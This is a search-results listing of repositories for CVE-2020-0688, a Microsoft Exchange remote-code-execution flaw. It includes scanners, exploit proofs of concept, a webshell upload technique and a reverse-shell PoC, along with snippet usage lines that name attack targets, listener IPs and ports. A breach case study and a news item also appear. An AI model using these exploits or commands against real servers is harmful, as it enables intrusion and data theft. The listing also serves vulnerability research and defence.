46 matches found
CVE-2020-0688-Scanner
CVE-2020-0688-Scanner Quick C tool for checking CVE-2020-0688 on multiple hosts with a non-intrusive method. Features Scan hosts from an input file. Passive check : grab exchange version by scraping html content. Produces an output file. Demo How to use Prerequisite Windows .NET framework 4.5.2...
CVE-2020-0688-Exchange2010
The main issue with Exchange2010 that it's .net 2.0 based and generic deserialization gadgets do not work. All credits goes to zcgonvh and EazyLov3. The project is just a combination of: https://github.com/zcgonvh/CVE-2020-0688/ https://www.buaq.net/go-41757.html How to execute: compile run...
cve-2020-0688-webshell-upload-technique
Ejecución Remota de Código en Exchange cve-2020-0688 - RED TEAM MODO ACTIVADO requiere: python3+ UNIVERSAL Implementación en Python para cve-2020-0688, utilizando webshell ASPX para salida de comandos personalizada Esto es solo un POC para facilitar demostraciones de vulnerabilidades por razones ...
CVE-2020-0688-GUI
一、Project Purpose and Reference The purpose is simple: I'm planning to write a C2 in C again recently, so let's first write some small tools to practice and increase interest. So I thought of turning zcgonvh's tool into a GUI. The source tool link is as follows:...
CVE-2020-0688
Herramientas de explotación y detección para CVE-2020-0688 vulnerabilidad de deserialización de MachineKeySection predeterminado de Microsoft Exchange compilación root@kitploit: csc ExchangeCmd.cs csc ExchangeDetect.cs uso root@kitploit: ExchangeDetect root@kitploit: ExchangeCmd subcomandos: exec...
CVE-2020-0688
python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...
CVE-2020-0688
CVE-2020-0688 Scanner This is a little dirty Script to Check for vulnerables Exchange Servers by CVE-2020-0688 It's written ugly and in PHP. Caution: It only checks if you have the actual CU update installed. That doesn't mean that you have installed the bugfix patch! Requirements You need php-cl...
PSForgot2kEyXCHANGE
PSForgot2kEyXCHANGE PoC for Forgot2kEyXCHANGE CVE-2020-0688 written in PowerShell Usage This PoC requires a valid Username and Password. This PoC uses ysoserial.net to create the new ViewState which contains the command you specified on the -Command param. If you don't already have this installed...
CVE-2020-0688-Scanner
CVE-2020-0688-Scanner This script scans an IP/range/CIDR and outputs the Microsoft Exchange Servers and Versions discovered. The specified IP/range/CIDR will be scanned with masscan on port tcp/443. After a successful scan it tries to HTTP GET "/owa/auth/logon.aspx" with curl to grab the Outlook...
CVE-2020-0688
CVE-2020-0688 CVE-2020-0688: Ejecución remota de código en Microsoft Exchange Server mediante claves criptográficas fijas Cómo ejecutar ysonet.exe: descargar desde aquí Ejecutar el servidor HTTP: root@kitploit: python3 -m http.server 8000 Cambiar targeturl y tu dirección IP en el comando pwsh...
CVE-2020-0688-Python3
Obtuve este código de Packet Storm. Usé una variedad de métodos principalmente 2to3 y mucho esfuerzo tedioso y manual para que esto funcione correctamente con Python3. ¡Disfrútalo!...
CVE-2020-0688
Este repositorio no tiene un README...
Cyber-Attack-Analysis
Cybersecurity Case Study: The 2020 Virgin Mobile KSA Breach 📌 Executive Summary In 2020, a significant security incident compromised Virgin Mobile KSA, leading to the theft of sensitive data including employee communications and personal information of over 1,000 users. This repository provides a...
ecp_slap
ecpslap This proof-of-concept for CVE-2020-0688 includes functions for the scanning and exploitation of a vulnerable on-prem Exchange instance. Usage scan - provide credentials and target information to obtain cookies required for exploitation and saves them to 'cookies.txt'. Also checks for...
cve-2020-0688
cve-2020-0688 Hice este script para realizar CVE-2020-0688 más rápidamente. Ayuda a mejorar la verificación de la vulnerabilidad, reduciendo enormemente los pasos para ello. Modifique estas entradas antes de ejecutar el archivo. url = "https://mail.something.com" input 1 command = "cmd /c echo...
CVE-2020-0688
CVE-2020-0688 Working Exploit PoC CVE-2020-0688 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...
Exploit for Improper Authentication in Microsoft
cve-2020-0688 Usage: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD, --password...
Exploit for Improper Authentication in Microsoft
I. Project Objectives and References The purpose is simple: r...
NSA, FBI Reveal Hacking Methods Used by Russian Military Hackers
An ongoing brute-force attack campaign targeting enterprise cloud environments has been spearheaded by the Russian military intelligence since mid-2019, according to a joint advisory published by intelligence agencies in the U.K. and U.S. The National Security Agency NSA, Cybersecurity and...